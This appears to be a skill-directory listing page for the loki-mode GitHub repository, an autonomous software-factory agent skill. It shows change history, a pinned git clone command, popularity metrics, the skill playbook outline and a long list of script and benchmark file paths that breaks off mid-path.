#815 by GitHub stars
asklokesh/loki-mode
Autonomous software factory. Give it a GitHub issue, a spec or a one-line task; get back a pull request with a signed receipt anyone can re-check offline. Runs on your machine with your own keys: Claude, Codex, OpenCode.
History
Review weekly changes to SKILL.md before updating. Dates mark the weeks in which we observed each version; checks apply to the recorded commits.
View weekly changes
SKILL.md
Week of Nov 2, 2026 · +25 / −39 lines
Before Not checked yet → After Network or broad shell
30f02277c65d → e504a5060099
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 30f02277c65d
No earlier version was observed for comparison.
examples/agent-skills/checkpoint-mode/SKILL.md
Week of Nov 2, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
30f02277c65d → e504a5060099
A local comparison is unavailable. You can inspect the recorded versions on GitHub.
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 30f02277c65d
No earlier version was observed for comparison.
examples/agent-skills/prompt-optimization/SKILL.md
Week of Nov 2, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
30f02277c65d → e504a5060099
A local comparison is unavailable. You can inspect the recorded versions on GitHub.
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 30f02277c65d
No earlier version was observed for comparison.
integrations/openclaw/SKILL.md
Week of Nov 2, 2026 · Line counts unavailable
Before Not checked yet → After Local scripts
30f02277c65d → e504a5060099
A local comparison is unavailable. You can inspect the recorded versions on GitHub.
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 30f02277c65d
No earlier version was observed for comparison.
packages/loki-seal/skills/loki-seal/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
30f02277c65d → e504a5060099
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → 30f02277c65d
No earlier version was observed for comparison.
Verified commit e504a506009979196fd963d62495309a02355894
git clone --filter=blob:none --no-checkout https://github.com/asklokesh/loki-mode.git .hotskills/asklokesh-loki-mode && git -C .hotskills/asklokesh-loki-mode checkout --detach e504a506009979196fd963d62495309a02355894
# Copy each selected skill directory from .hotskills/asklokesh-loki-mode into .claude/skills/<skill-name>/Heat
5.6- Star growth, last 7 daysAhead of 74% of tracked repositories
- Star growth, last 24 hoursAhead of 72% of tracked repositories
- Rank movement, last 7 daysAhead of 11% of tracked repositories
- Commits, last 30 daysAhead of 100% of tracked repositories
- Accounts asking about it through MCP, last 7 daysNot available
- Hot votes this weekAhead of 0% of tracked repositories
Heat never changes the order by stars, and sponsorship never touches it. How heat works
Stars over time
Individual skills in this repository
- loki-mode
/ - loki-mode-openclaw
integrations/openclaw - loki-seal
packages/loki-seal/skills/loki-seal
How it works
loki-mode
When your agent uses it
Runs an autonomous software factory that knows what it is supposed to deliver and proves it did, with a signed receipt. Use when the user says Loki Mode or asks to build, fix or verify software autonomously.
What it loads into context
Frontmatter
50 tokensAlways available to the agent
SKILL.md
7,482 tokensWhen the skill is activated
Reference documents
995,776 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- PRIORITY 1: Load Context (Every Turn)
- PRIORITY 2: Execute (RARV Cycle)
- PRIORITY 3: Autonomy Rules
- Model Selection
- Phase Transitions
- Context Management
- Key Files
- Module Loading Protocol (Skills)
- Command list
- Invocation
- Human Intervention (v3.4.0)
- Complexity Tiers (v3.4.0)
- Managed Agents Integration (v7.2.0)
- Phase 1 RARV-C Closure (v7.5.x)
- Trust-layer additions (v7.28.0)
- Harness intelligence (v8.0.0)
- Operational observability (v8.0.0)
- First-run UX (v7.29.0)
- Concurrency and Security Hardening (v7.5.7 - v7.5.13)
- Feature status
Scripts executed separately
.githooks/pre-commit.githooks/pre-push.github/actions/receipt-check/check.shagents/custom_agents.pyagents/hub_install.pyagents/managed_registry.pyapi/client.tsapi/middleware/auth.tsapi/middleware/cors.tsapi/middleware/error.tsapi/middleware/timing.tsapi/mod.tsapi/routes/events.tsapi/routes/health.tsapi/routes/learning.tsapi/routes/memory.tsapi/routes/sessions.tsapi/routes/tasks.tsapi/server.jsapi/server.tsapi/services/cli-bridge.tsapi/services/event-bus.tsapi/services/learning-collector.tsapi/services/state-notifications.tsapi/services/state-watcher.tsapi/types/api.tsapi/types/events.tsapi/types/memory.tsautonomy/acp-agent.pyautonomy/api-server.jsautonomy/app-runner.shautonomy/bmad-adapter.pyautonomy/checklist-verify.pyautonomy/completion-council.shautonomy/context-tracker.pyautonomy/council-v2.shautonomy/crash.shautonomy/docker-run.shautonomy/edit.shautonomy/grill.shautonomy/hooks/migration-hooks.shautonomy/hooks/quality-gate.shautonomy/hooks/session-init.shautonomy/hooks/store-episode.shautonomy/hooks/track-metrics.shautonomy/hooks/validate-bash.shautonomy/intent.shautonomy/issue-parser.shautonomy/issue-providers.shautonomy/lib/ablation.pyautonomy/lib/assets_bundle.pyautonomy/lib/backlog.pyautonomy/lib/browser-open.shautonomy/lib/chat.shautonomy/lib/check_author.pyautonomy/lib/checkpoint_sync.pyautonomy/lib/claim_grounding.pyautonomy/lib/claude-flags.shautonomy/lib/claude_permissions.pyautonomy/lib/cockpit-render.shautonomy/lib/config-map.shautonomy/lib/contract-scaffold/generate.mjsautonomy/lib/contract-scaffold/scaffold.shautonomy/lib/cost-summary.pyautonomy/lib/cr-rematerialize.pyautonomy/lib/crash_capture.pyautonomy/lib/crash_redact.pyautonomy/lib/deadline.pyautonomy/lib/decision_record.pyautonomy/lib/dependency-setup.shautonomy/lib/done-recognition.shautonomy/lib/efficiency_cost.pyautonomy/lib/effort_estimator.pyautonomy/lib/engine10-push-gitlab.shautonomy/lib/engine10-push.shautonomy/lib/expectation-ledger.pyautonomy/lib/failure_memory.pyautonomy/lib/fast_verify.pyautonomy/lib/functional-verify.pyautonomy/lib/gate_policy.pyautonomy/lib/git-pr-advisory.shautonomy/lib/help-core.shautonomy/lib/iteration_attribution.pyautonomy/lib/json-output.shautonomy/lib/lock.shautonomy/lib/loki_yaml.pyautonomy/lib/mcp-config.shautonomy/lib/modernize/java_capture.shautonomy/lib/modernize/py_capture.pyautonomy/lib/modernize/py_imports.pyautonomy/lib/no_mock_scan.pyautonomy/lib/os_sandbox.pyautonomy/lib/outcome_contract.pyautonomy/lib/outcome_ledger.pyautonomy/lib/own-render.pyautonomy/lib/prd-enrich.shautonomy/lib/preedit_snapshot.pyautonomy/lib/project-graph.shautonomy/lib/proof-analytics-props.pyautonomy/lib/proof-check.shautonomy/lib/proof-generator.pyautonomy/lib/proof-pr.shautonomy/lib/proof-verify.pyautonomy/lib/proof_redact.pyautonomy/lib/requirements_contract.pyautonomy/lib/review_risk.pyautonomy/lib/run-summary.shautonomy/lib/scaffold-hook.shautonomy/lib/sdk-mode.shautonomy/lib/secret-scan.shautonomy/lib/secure-scan.pyautonomy/lib/sentrux-gate.shautonomy/lib/silence_report.pyautonomy/lib/skill-link-heal.shautonomy/lib/spec-expand.shautonomy/lib/tree_digest.pyautonomy/lib/trust_metrics.pyautonomy/lib/trust_trajectory.pyautonomy/lib/verdict.pyautonomy/lib/voter-agents.shautonomy/lib/wiki-ask.pyautonomy/lib/wiki-generator.pyautonomy/lib/wiki_index.pyautonomy/lib/wiki_llm.pyautonomy/lib/workspace.pyautonomy/lib/workspace_comment.pyautonomy/lib/workspace_diff.pyautonomy/lib/workspace_metrics.pyautonomy/lib/worktree_prep.pyautonomy/lokiautonomy/mcp-launch.shautonomy/migration-agents.shautonomy/mirofish-adapter.pyautonomy/mobile-verify.shautonomy/notification-checker.pyautonomy/notify.shautonomy/openspec-adapter.pyautonomy/playwright-verify.shautonomy/prd-analyzer.pyautonomy/prd-checklist.shautonomy/provider-offer.shautonomy/queue-consumer.shautonomy/quickstart.shautonomy/receipt_jwt.pyautonomy/route.shautonomy/run.shautonomy/sandbox.shautonomy/serve.shautonomy/setup-wizard.shautonomy/spec-interrogation.shautonomy/spec.shautonomy/telemetry.shautonomy/trigger-schedule.pyautonomy/trigger-server.pyautonomy/tui.shautonomy/verify.shautonomy/voice.shbenchmarks/h2h/h2h.pybenchmarks/h2h/run.shbenchmarks/h2h/sequences/go-cli-commands/repo/cli/add.gobenchmarks/h2h/sequences/go-cli-commands/repo/cli/cli.gobenchmarks/h2h/sequences/go-cli-commands/repo/notes/store.gobenchmarks/h2h/sequences/go-cli-commands/repo/tests/visible_test.gobenchmarks/h2h/sequences/go-cli-commands/steps/s1/hidden/list_hidden_test.gobenchmarks/h2h/sequences/go-cli-commands/steps/s1/solution/cli/list.gobenchmarks/h2h/sequences/go-cli-commands/steps/s2/hidden/done_hidden_test.gobenchmarks/h2h/sequences/go-cli-commands/steps/s2/solution/cli/done.gobenchmarks/h2h/sequences/go-cli-commands/steps/s3/hidden/remove_hidden_test.gobenchmarks/h2h/sequences/go-cli-commands/steps/s3/solution/cli/help.gobenchmarks/h2h/sequences/go-cli-commands/steps/s3/solution/cli/remove.gobenchmarks/h2h/sequences/go-mathx-registry/repo/mathx/mathx.gobenchmarks/h2h/sequences/go-mathx-registry/repo/mathx/registry.gobenchmarks/h2h/sequences/go-mathx-registry/repo/tests/conventions_test.gobenchmarks/h2h/sequences/go-mathx-registry/repo/tests/mathx_test.gobenchmarks/h2h/sequences/go-mathx-registry/steps/s1/hidden/gcd_hidden_test.gobenchmarks/h2h/sequences/go-mathx-registry/steps/s1/solution/mathx/mathx.gobenchmarks/h2h/sequences/go-mathx-registry/steps/s1/solution/mathx/registry.gobenchmarks/h2h/sequences/go-mathx-registry/steps/s2/hidden/lcm_hidden_test.gobenchmarks/h2h/sequences/go-mathx-registry/steps/s2/solution/mathx/mathx.gobenchmarks/h2h/sequences/go-mathx-registry/steps/s2/solution/mathx/registry.gobenchmarks/h2h/sequences/go-mathx-registry/steps/s3/hidden/prime_hidden_test.gobenchmarks/h2h/sequences/go-mathx-registry/steps/s3/solution/mathx/mathx.gobenchmarks/h2h/sequences/go-mathx-registry/steps/s3/solution/mathx/registry.gobenchmarks/h2h/sequences/go-mathx-registry/steps/s4/hidden/pow_hidden_test.gobenchmarks/h2h/sequences/go-mathx-registry/steps/s4/solution/mathx/mathx.gobenchmarks/h2h/sequences/go-mathx-registry/steps/s4/solution/mathx/registry.gobenchmarks/h2h/sequences/py-report-formats/repo/reports/__init__.pybenchmarks/h2h/sequences/py-report-formats/repo/reports/exporters/__init__.pybenchmarks/h2h/sequences/py-report-formats/repo/reports/exporters/text_exporter.pybenchmarks/h2h/sequences/py-report-formats/repo/reports/summary.pybenchmarks/h2h/sequences/py-report-formats/repo/tests/test_reports.pybenchmarks/h2h/sequences/py-report-formats/steps/s1/hidden/test_csv_hidden.pybenchmarks/h2h/sequences/py-report-formats/steps/s1/solution/reports/exporters/csv_exporter.pybenchmarks/h2h/sequences/py-report-formats/steps/s2/hidden/test_json_hidden.pybenchmarks/h2h/sequences/py-report-formats/steps/s2/solution/reports/exporters/json_exporter.pybenchmarks/h2h/sequences/py-report-formats/steps/s3/hidden/test_markdown_hidden.pybenchmarks/h2h/sequences/py-report-formats/steps/s3/solution/reports/exporters/__init__.pybenchmarks/h2h/sequences/py-report-formats/steps/s3/solution/reports/exporters/markdown_exporter.pybenchmarks/h2h/sequences/py-textkit-doctest/repo/tests/test_conventions.pybenchmarks/h2h/sequences/py-textkit-doctest/repo/tests/test_transforms.pybenchmarks/h2h/sequences/py-textkit-doctest/repo/textkit/__init__.pybenchmarks/h2h/sequences/py-textkit-doctest/repo/textkit/transforms.pybenchmarks/h2h/sequences/py-textkit-doctest/steps/s1/hidden/test_truncate_hidden.pybenchmarks/h2h/sequences/py-textkit-doctest/steps/s1/solution/textkit/transforms.pybenchmarks/h2h/sequences/py-textkit-doctest/steps/s2/hidden/test_snake_hidden.pybenchmarks/h2h/sequences/py-textkit-doctest/steps/s2/solution/textkit/transforms.pybenchmarks/h2h/sequences/py-textkit-doctest/steps/s3/hidden/test_accents_hidden.pybenchmarks/h2h/sequences/py-textkit-doctest/steps/s3/solution/textkit/transforms.pybenchmarks/h2h/sequences/py-textkit-doctest/steps/s4/hidden/test_wrap_hidden.pybenchmarks/h2h/sequences/py-textkit-doctest/steps/s4/solution/textkit/transforms.pybenchmarks/h2h/sequences/py-unit-registry/repo/tests/test_conventions.pybenchmarks/h2h/sequences/py-unit-registry/repo/tests/test_converters.pybenchmarks/h2h/sequences/py-unit-registry/repo/units/__init__.pybenchmarks/h2h/sequences/py-unit-registry/repo/units/converters.pybenchmarks/h2h/sequences/py-unit-registry/repo/units/registry.pybenchmarks/h2h/sequences/py-unit-registry/steps/s1/hidden/test_celsius_hidden.pybenchmarks/h2h/sequences/py-unit-registry/steps/s1/solution/units/converters.pybenchmarks/h2h/sequences/py-unit-registry/steps/s1/solution/units/registry.pybenchmarks/h2h/sequences/py-unit-registry/steps/s2/hidden/test_km_hidden.pybenchmarks/h2h/sequences/py-unit-registry/steps/s2/solution/units/converters.pybenchmarks/h2h/sequences/py-unit-registry/steps/s2/solution/units/registry.pybenchmarks/h2h/sequences/py-unit-registry/steps/s3/hidden/test_kg_hidden.pybenchmarks/h2h/sequences/py-unit-registry/steps/s3/solution/units/converters.pybenchmarks/h2h/sequences/py-unit-registry/steps/s3/solution/units/registry.pybenchmarks/h2h/sequences/py-unit-registry/steps/s4/hidden/test_liters_hidden.pybenchmarks/h2h/sequences/py-unit-registry/steps/s4/solution/units/converters.pybenchmarks/h2h/sequences/py-unit-registry/steps/s4/solution/units/registry.pybenchmarks/h2h/sequences/py-validators/repo/forms/__init__.pybenchmarks/h2h/sequences/py-validators/repo/forms/errors.pybenchmarks/h2h/sequences/py-validators/repo/forms/validators.pybenchmarks/h2h/sequences/py-validators/repo/tests/test_validators.pybenchmarks/h2h/sequences/py-validators/steps/s1/hidden/test_email_hidden.pybenchmarks/h2h/sequences/py-validators/steps/s1/solution/forms/validators.pybenchmarks/h2h/sequences/py-validators/steps/s2/hidden/test_phone_hidden.pybenchmarks/h2h/sequences/py-validators/steps/s2/solution/forms/validators.pybenchmarks/h2h/sequences/py-validators/steps/s3/hidden/test_form_hidden.pybenchmarks/h2h/sequences/py-validators/steps/s3/solution/forms/validators.pybenchmarks/h2h/sequences/ts-format-catalog/repo/package.jsonbenchmarks/h2h/sequences/ts-format-catalog/repo/src/catalog.tsbenchmarks/h2h/sequences/ts-format-catalog/repo/src/format.tsbenchmarks/h2h/sequences/ts-format-catalog/repo/src/guard.tsbenchmarks/h2h/sequences/ts-format-catalog/repo/test/conventions.test.tsbenchmarks/h2h/sequences/ts-format-catalog/repo/test/format.test.tsbenchmarks/h2h/sequences/ts-format-catalog/steps/s1/hidden/duration.hidden.test.tsbenchmarks/h2h/sequences/ts-format-catalog/steps/s1/solution/src/catalog.tsbenchmarks/h2h/sequences/ts-format-catalog/steps/s1/solution/src/format.tsbenchmarks/h2h/sequences/ts-format-catalog/steps/s2/hidden/ordinal.hidden.test.tsbenchmarks/h2h/sequences/ts-format-catalog/steps/s2/solution/src/catalog.tsbenchmarks/h2h/sequences/ts-format-catalog/steps/s2/solution/src/format.tsbenchmarks/h2h/sequences/ts-format-catalog/steps/s3/hidden/compact.hidden.test.tsbenchmarks/h2h/sequences/ts-format-catalog/steps/s3/solution/src/catalog.tsbenchmarks/h2h/sequences/ts-format-catalog/steps/s3/solution/src/format.tsbenchmarks/h2h/sequences/ts-format-catalog/steps/s4/hidden/currency.hidden.test.tsbenchmarks/h2h/sequences/ts-format-catalog/steps/s4/solution/src/catalog.tsbenchmarks/h2h/sequences/ts-format-catalog/steps/s4/solution/src/format.tsbenchmarks/h2h/sequences/ts-pricing-rules/repo/package.jsonbenchmarks/h2h/sequences/ts-pricing-rules/repo/src/cart.tsbenchmarks/h2h/sequences/ts-pricing-rules/repo/src/pricing.tsbenchmarks/h2h/sequences/ts-pricing-rules/repo/src/rules/bulkDiscount.tsbenchmarks/h2h/sequences/ts-pricing-rules/repo/src/rules/types.tsbenchmarks/h2h/sequences/ts-pricing-rules/repo/test/pricing.test.tsbenchmarks/h2h/sequences/ts-pricing-rules/steps/s1/hidden/percentOff.hidden.test.tsbenchmarks/h2h/sequences/ts-pricing-rules/steps/s1/solution/src/rules/percentOff.tsbenchmarks/h2h/sequences/ts-pricing-rules/steps/s2/hidden/buyXGetY.hidden.test.tsbenchmarks/h2h/sequences/ts-pricing-rules/steps/s2/solution/src/rules/buyXGetY.tsbenchmarks/h2h/sequences/ts-pricing-rules/steps/s3/hidden/registry.hidden.test.tsbenchmarks/h2h/sequences/ts-pricing-rules/steps/s3/solution/src/rules/index.tsbenchmarks/h2h/sequences/ts-pricing-rules/steps/s3/solution/src/rules/threshold.tsbenchmarks/h2h/tasks/go-bank-transfer/hidden/h2h_hidden_test.gobenchmarks/h2h/tasks/go-bank-transfer/repo/account/account.gobenchmarks/h2h/tasks/go-bank-transfer/repo/ledger/ledger.gobenchmarks/h2h/tasks/go-bank-transfer/repo/tests/visible_test.gobenchmarks/h2h/tasks/go-bank-transfer/solution/account/account.gobenchmarks/h2h/tasks/go-bank-transfer/solution/ledger/ledger.gobenchmarks/h2h/tasks/go-config-merge/hidden/h2h_hidden_test.gobenchmarks/h2h/tasks/go-config-merge/repo/config/env.gobenchmarks/h2h/tasks/go-config-merge/repo/config/file.gobenchmarks/h2h/tasks/go-config-merge/repo/config/merge.gobenchmarks/h2h/tasks/go-config-merge/repo/server/server.gobenchmarks/h2h/tasks/go-config-merge/repo/tests/visible_test.gobenchmarks/h2h/tasks/go-config-merge/solution/config/env.gobenchmarks/h2h/tasks/go-config-merge/solution/config/file.gobenchmarks/h2h/tasks/go-config-merge/solution/config/merge.gobenchmarks/h2h/tasks/go-ratelimit/hidden/h2h_hidden_test.gobenchmarks/h2h/tasks/go-ratelimit/repo/ratelimit/window.gobenchmarks/h2h/tasks/go-ratelimit/repo/tests/visible_test.gobenchmarks/h2h/tasks/go-ratelimit/solution/ratelimit/bucket.gobenchmarks/h2h/tasks/go-store-refactor/hidden/h2h_hidden_test.gobenchmarks/h2h/tasks/go-store-refactor/repo/notes/format.gobenchmarks/h2h/tasks/go-store-refactor/repo/notes/handlers.gobenchmarks/h2h/tasks/go-store-refactor/repo/notes/store.gobenchmarks/h2h/tasks/go-store-refactor/repo/tests/visible_test.gobenchmarks/h2h/tasks/go-store-refactor/solution/notes/handlers.gobenchmarks/h2h/tasks/go-store-refactor/solution/notes/store.gobenchmarks/h2h/tasks/go-topo-schedule/hidden/h2h_hidden_test.gobenchmarks/h2h/tasks/go-topo-schedule/repo/sched/graph.gobenchmarks/h2h/tasks/go-topo-schedule/repo/tests/visible_test.gobenchmarks/h2h/tasks/go-topo-schedule/solution/sched/plan.gobenchmarks/h2h/tasks/go-wordfreq-tokenize/hidden/h2h_hidden_test.gobenchmarks/h2h/tasks/go-wordfreq-tokenize/repo/tests/visible_test.gobenchmarks/h2h/tasks/go-wordfreq-tokenize/repo/wordfreq/count.gobenchmarks/h2h/tasks/go-wordfreq-tokenize/repo/wordfreq/tokenize.gobenchmarks/h2h/tasks/go-wordfreq-tokenize/solution/wordfreq/count.gobenchmarks/h2h/tasks/go-wordfreq-tokenize/solution/wordfreq/tokenize.gobenchmarks/h2h/tasks/py-cache-ttl/hidden/test_cache_hidden.pybenchmarks/h2h/tasks/py-cache-ttl/repo/cachelib/__init__.pybenchmarks/h2h/tasks/py-cache-ttl/repo/cachelib/cache.pybenchmarks/h2h/tasks/py-cache-ttl/repo/tests/test_cache.pybenchmarks/h2h/tasks/py-cache-ttl/solution/cachelib/cache.pybenchmarks/h2h/tasks/py-csv-quotes/hidden/test_parser_hidden.pybenchmarks/h2h/tasks/py-csv-quotes/repo/csvlite/__init__.pybenchmarks/h2h/tasks/py-csv-quotes/repo/csvlite/parser.pybenchmarks/h2h/tasks/py-csv-quotes/repo/tests/test_parser.pybenchmarks/h2h/tasks/py-csv-quotes/solution/csvlite/parser.pybenchmarks/h2h/tasks/py-invoice-rounding/hidden/test_invoice_hidden.pybenchmarks/h2h/tasks/py-invoice-rounding/repo/billing/__init__.pybenchmarks/h2h/tasks/py-invoice-rounding/repo/billing/invoice.pybenchmarks/h2h/tasks/py-invoice-rounding/repo/billing/money.pybenchmarks/h2h/tasks/py-invoice-rounding/repo/billing/tax.pybenchmarks/h2h/tasks/py-invoice-rounding/repo/tests/test_invoice.pybenchmarks/h2h/tasks/py-invoice-rounding/solution/billing/money.pybenchmarks/h2h/tasks/py-invoice-rounding/solution/billing/tax.pybenchmarks/h2h/tasks/py-retry-decorator/hidden/test_retry_hidden.pybenchmarks/h2h/tasks/py-retry-decorator/repo/netutil/__init__.pybenchmarks/h2h/tasks/py-retry-decorator/repo/netutil/http.pybenchmarks/h2h/tasks/py-retry-decorator/repo/tests/test_http.pybenchmarks/h2h/tasks/py-retry-decorator/solution/netutil/http.pybenchmarks/h2h/tasks/py-retry-decorator/solution/netutil/retry.pybenchmarks/h2h/tasks/py-semver-range/hidden/test_range_hidden.pybenchmarks/h2h/tasks/py-semver-range/repo/semverlite/__init__.pybenchmarks/h2h/tasks/py-semver-range/repo/semverlite/version.pybenchmarks/h2h/tasks/py-semver-range/repo/tests/test_version.pybenchmarks/h2h/tasks/py-semver-range/solution/semverlite/range.pybenchmarks/h2h/tasks/py-todo-json/hidden/test_cli_hidden.pybenchmarks/h2h/tasks/py-todo-json/repo/tests/test_cli.pybenchmarks/h2h/tasks/py-todo-json/repo/todo/__init__.pybenchmarks/h2h/tasks/py-todo-json/repo/todo/cli.pybenchmarks/h2h/tasks/py-todo-json/repo/todo/models.pybenchmarks/h2h/tasks/py-todo-json/repo/todo/report.pybenchmarks/h2h/tasks/py-todo-json/repo/todo/store.pybenchmarks/h2h/tasks/py-todo-json/solution/todo/cli.pybenchmarks/h2h/tasks/py-todo-json/solution/todo/report.pybenchmarks/h2h/tasks/ts-cart-discounts/hidden/cart.hidden.test.tsbenchmarks/h2h/tasks/ts-cart-discounts/repo/package.jsonbenchmarks/h2h/tasks/ts-cart-discounts/repo/src/cart.tsbenchmarks/h2h/tasks/ts-cart-discounts/repo/src/checkout.tsbenchmarks/h2h/tasks/ts-cart-discounts/repo/test/cart.test.tsbenchmarks/h2h/tasks/ts-cart-discounts/solution/src/cart.tsbenchmarks/h2h/tasks/ts-cart-discounts/solution/src/checkout.tsbenchmarks/h2h/tasks/ts-cart-discounts/solution/src/discounts.tsbenchmarks/h2h/tasks/ts-cron-next/hidden/cron.hidden.test.tsbenchmarks/h2h/tasks/ts-cron-next/repo/package.jsonbenchmarks/h2h/tasks/ts-cron-next/repo/src/jobs.tsbenchmarks/h2h/tasks/ts-cron-next/repo/test/jobs.test.tsbenchmarks/h2h/tasks/ts-cron-next/solution/src/cron.tsbenchmarks/h2h/tasks/ts-duration-fix/hidden/duration.hidden.test.tsbenchmarks/h2h/tasks/ts-duration-fix/repo/package.jsonbenchmarks/h2h/tasks/ts-duration-fix/repo/src/duration.tsbenchmarks/h2h/tasks/ts-duration-fix/repo/src/job.tsbenchmarks/h2h/tasks/ts-duration-fix/repo/test/duration.test.tsbenchmarks/h2h/tasks/ts-duration-fix/solution/src/duration.tsbenchmarks/h2h/tasks/ts-order-currency/hidden/orders.hidden.test.tsbenchmarks/h2h/tasks/ts-order-currency/repo/package.jsonbenchmarks/h2h/tasks/ts-order-currency/repo/src/export.tsbenchmarks/h2h/tasks/ts-order-currency/repo/src/format.tsbenchmarks/h2h/tasks/ts-order-currency/repo/src/report.tsbenchmarks/h2h/tasks/ts-order-currency/repo/src/types.tsbenchmarks/h2h/tasks/ts-order-currency/repo/test/orders.test.tsbenchmarks/h2h/tasks/ts-order-currency/solution/src/export.tsbenchmarks/h2h/tasks/ts-order-currency/solution/src/format.tsbenchmarks/h2h/tasks/ts-order-currency/solution/src/report.tsbenchmarks/h2h/tasks/ts-order-currency/solution/src/types.tsbenchmarks/h2h/tasks/ts-paginate-fix/hidden/paginate.hidden.test.tsbenchmarks/h2h/tasks/ts-paginate-fix/repo/package.jsonbenchmarks/h2h/tasks/ts-paginate-fix/repo/src/paginate.tsbenchmarks/h2h/tasks/ts-paginate-fix/repo/src/users.tsbenchmarks/h2h/tasks/ts-paginate-fix/repo/test/paginate.test.tsbenchmarks/h2h/tasks/ts-paginate-fix/solution/src/paginate.tsbenchmarks/h2h/tasks/ts-validate-refactor/hidden/accounts.hidden.test.tsbenchmarks/h2h/tasks/ts-validate-refactor/repo/package.jsonbenchmarks/h2h/tasks/ts-validate-refactor/repo/src/invite.tsbenchmarks/h2h/tasks/ts-validate-refactor/repo/src/profile.tsbenchmarks/h2h/tasks/ts-validate-refactor/repo/src/signup.tsbenchmarks/h2h/tasks/ts-validate-refactor/repo/test/accounts.test.tsbenchmarks/h2h/tasks/ts-validate-refactor/solution/src/invite.tsbenchmarks/h2h/tasks/ts-validate-refactor/solution/src/profile.tsbenchmarks/h2h/tasks/ts-validate-refactor/solution/src/signup.tsbenchmarks/h2h/tasks/ts-validate-refactor/solution/src/validate.tsbenchmarks/seeded-defects/cases/SD-0001/check.pybenchmarks/seeded-defects/cases/SD-0001/src.pybenchmarks/seeded-defects/cases/SD-0001/test_visible.pybenchmarks/seeded-defects/cases/SD-0002/check.pybenchmarks/seeded-defects/cases/SD-0002/src.pybenchmarks/seeded-defects/cases/SD-0002/test_visible.pybenchmarks/seeded-defects/cases/SD-0003/check.pybenchmarks/seeded-defects/cases/SD-0003/src.pybenchmarks/seeded-defects/cases/SD-0003/test_visible.pybenchmarks/seeded-defects/cases/SD-0004/check.pybenchmarks/seeded-defects/cases/SD-0004/src.pybenchmarks/seeded-defects/cases/SD-0004/test_visible.pybenchmarks/seeded-defects/cases/SD-0005/check.pybenchmarks/seeded-defects/cases/SD-0005/src.pybenchmarks/seeded-defects/cases/SD-0005/test_visible.pybenchmarks/seeded-defects/cases/SD-0006/check.pybenchmarks/seeded-defects/cases/SD-0006/src.pybenchmarks/seeded-defects/cases/SD-0006/test_visible.pybenchmarks/seeded-defects/cases/SD-0007/check.pybenchmarks/seeded-defects/cases/SD-0007/src.pybenchmarks/seeded-defects/cases/SD-0007/test_visible.pybenchmarks/seeded-defects/cases/SD-0008/check.pybenchmarks/seeded-defects/cases/SD-0008/src.pybenchmarks/seeded-defects/cases/SD-0008/test_visible.pybenchmarks/seeded-defects/cases/SD-0009/check.pybenchmarks/seeded-defects/cases/SD-0009/src.pybenchmarks/seeded-defects/cases/SD-0009/test_visible.pybenchmarks/seeded-defects/cases/SD-0010/check.pybenchmarks/seeded-defects/cases/SD-0010/src.pybenchmarks/seeded-defects/cases/SD-0010/test_visible.pybenchmarks/seeded-defects/cases/SD-0011/check.pybenchmarks/seeded-defects/cases/SD-0011/src.pybenchmarks/seeded-defects/cases/SD-0011/test_visible.pybenchmarks/seeded-defects/cases/SD-0012/check.pybenchmarks/seeded-defects/cases/SD-0012/src.pybenchmarks/seeded-defects/cases/SD-0012/test_visible.pybenchmarks/seeded-defects/cases/SD-0013/check.pybenchmarks/seeded-defects/cases/SD-0013/src.pybenchmarks/seeded-defects/cases/SD-0013/test_visible.pybenchmarks/seeded-defects/cases/SD-0014/check.pybenchmarks/seeded-defects/cases/SD-0014/src.pybenchmarks/seeded-defects/cases/SD-0014/test_visible.pybenchmarks/seeded-defects/cases/SD-0015/check.pybenchmarks/seeded-defects/cases/SD-0015/src.pybenchmarks/seeded-defects/cases/SD-0015/test_visible.pybenchmarks/seeded-defects/cases/SD-0016/check.pybenchmarks/seeded-defects/cases/SD-0016/src.pybenchmarks/seeded-defects/cases/SD-0016/test_visible.pybenchmarks/seeded-defects/cases/SD-0017/check.pybenchmarks/seeded-defects/cases/SD-0017/src.pybenchmarks/seeded-defects/cases/SD-0017/test_visible.pybenchmarks/seeded-defects/cases/SD-0018/check.pybenchmarks/seeded-defects/cases/SD-0018/src.pybenchmarks/seeded-defects/cases/SD-0018/test_visible.pybenchmarks/seeded-defects/cases/SD-0019/check.pybenchmarks/seeded-defects/cases/SD-0019/src.pybenchmarks/seeded-defects/cases/SD-0019/test_visible.pybenchmarks/seeded-defects/cases/SD-0020/check.pybenchmarks/seeded-defects/cases/SD-0020/src.pybenchmarks/seeded-defects/cases/SD-0020/test_visible.pybenchmarks/seeded-defects/cases/SD-0021/check.pybenchmarks/seeded-defects/cases/SD-0021/src.pybenchmarks/seeded-defects/cases/SD-0021/test_visible.pybenchmarks/seeded-defects/cases/SD-0022/check.pybenchmarks/seeded-defects/cases/SD-0022/src.pybenchmarks/seeded-defects/cases/SD-0022/test_visible.pybenchmarks/seeded-defects/cases/SD-0023/check.pybenchmarks/seeded-defects/cases/SD-0023/src.pybenchmarks/seeded-defects/cases/SD-0023/test_visible.pybenchmarks/seeded-defects/cases/SD-0024/check.pybenchmarks/seeded-defects/cases/SD-0024/src.pybenchmarks/seeded-defects/cases/SD-0024/test_visible.pybenchmarks/seeded-defects/cases/SD-0025/check.pybenchmarks/seeded-defects/cases/SD-0025/src.pybenchmarks/seeded-defects/cases/SD-0025/test_visible.pybenchmarks/seeded-defects/cases/SD-0026/check.pybenchmarks/seeded-defects/cases/SD-0026/src.pybenchmarks/seeded-defects/cases/SD-0026/test_visible.pybenchmarks/seeded-defects/cases/SD-0027/check.pybenchmarks/seeded-defects/cases/SD-0027/src.pybenchmarks/seeded-defects/cases/SD-0027/test_visible.pybenchmarks/seeded-defects/cases/SD-0028/check.pybenchmarks/seeded-def